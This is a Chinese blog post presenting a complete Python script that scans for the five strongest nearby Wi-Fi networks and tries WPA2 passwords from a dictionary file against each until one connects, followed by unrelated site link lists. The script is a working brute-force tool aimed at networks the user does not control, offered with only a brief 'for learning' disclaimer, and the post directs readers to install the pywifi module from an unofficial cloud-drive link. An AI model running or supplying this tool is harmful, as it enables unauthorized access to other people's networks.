Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python中定义结构体的方法
Mar 04 Python
python迭代器实例简析
Sep 25 Python
python常见数制转换实例分析
May 09 Python
python和shell监控linux服务器的详细代码
Jun 22 Python
利用Python实现原创工具的Logo与Help
Dec 03 Python
django 实现celery动态设置周期任务执行时间
Nov 19 Python
python定间隔取点(np.linspace)的实现
Nov 27 Python
Python 装饰器原理、定义与用法详解
Dec 07 Python
PyCharm+Pipenv虚拟环境开发和依赖管理的教程详解
Apr 16 Python
Python3自动生成MySQL数据字典的markdown文本的实现
May 07 Python
举例讲解Python装饰器
Dec 24 Python
20行代码教你用python给证件照换底色的方法示例
Feb 05 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
php数据结构 算法(PHP描述) 简单选择排序 simple selection sort
2011/08/09 PHP
PHP遍历数组的几种方法
2012/03/22 PHP
PHP中header和session_start前不能有输出原因分析
2013/01/11 PHP
基于PHP CURL用法的深入分析
2013/06/09 PHP
php自动更新版权信息显示的方法
2015/06/19 PHP
java模拟PHP的pack和unpack类
2016/04/13 PHP
php基于curl实现的股票信息查询类实例
2016/11/11 PHP
laravel实现上传图片,并且制作缩略图,按照日期存放的代码
2019/10/16 PHP
js post方式传递提交的实现代码
2010/05/31 Javascript
JQuery Highcharts 动态生成图表的方法
2013/11/15 Javascript
jquery实现当滑动到一定位置时固定效果
2014/06/17 Javascript
基于JavaScript实现百叶窗动画效果不只单纯flas可以实现
2016/02/29 Javascript
JavaScript实现图片滑动切换的代码示例分享
2016/03/06 Javascript
微信小程序购物商城系统开发系列-目录结构介绍
2016/11/21 Javascript
EasyUI Tree树组件无限循环的解决方法
2017/09/27 Javascript
vue项目常用组件和框架结构介绍
2017/12/24 Javascript
vue生成文件本地打开查看效果的实例
2018/09/06 Javascript
vue-cli创建的项目中的gitHooks原理解析
2020/02/14 Javascript
vue 数据遍历筛选 过滤 排序的应用操作
2020/11/17 Javascript
比较详细Python正则表达式操作指南(re使用)
2008/09/06 Python
Python中的super用法详解
2015/05/28 Python
基于python的图片修复程序(实现水印去除)
2018/06/04 Python
在python中利用numpy求解多项式以及多项式拟合的方法
2019/07/03 Python
flask框架配置mysql数据库操作详解
2019/11/29 Python
Python爬虫实现vip电影下载的示例代码
2020/04/20 Python
Python 读取位于包中的数据文件
2020/08/07 Python
python3代码输出嵌套式对象实例详解
2020/12/03 Python
关于解决iframe标签嵌套问题的解决方法
2020/03/04 HTML / CSS
SQL Server 2000数据库的文件有哪些,分别进行描述
2013/03/30 面试题
大学生个人自荐信样本
2014/03/02 职场文书
小学德育工作经验交流材料
2014/05/22 职场文书
物业公司的岗位任命书
2014/06/06 职场文书
党的群众路线专项整治方案
2014/11/03 职场文书
2015年幼儿园中班开学寄语
2015/05/27 职场文书
小王子读书笔记
2015/06/29 职场文书
Nginx如何配置多个服务域名解析共用80端口详解
2022/09/23 Servers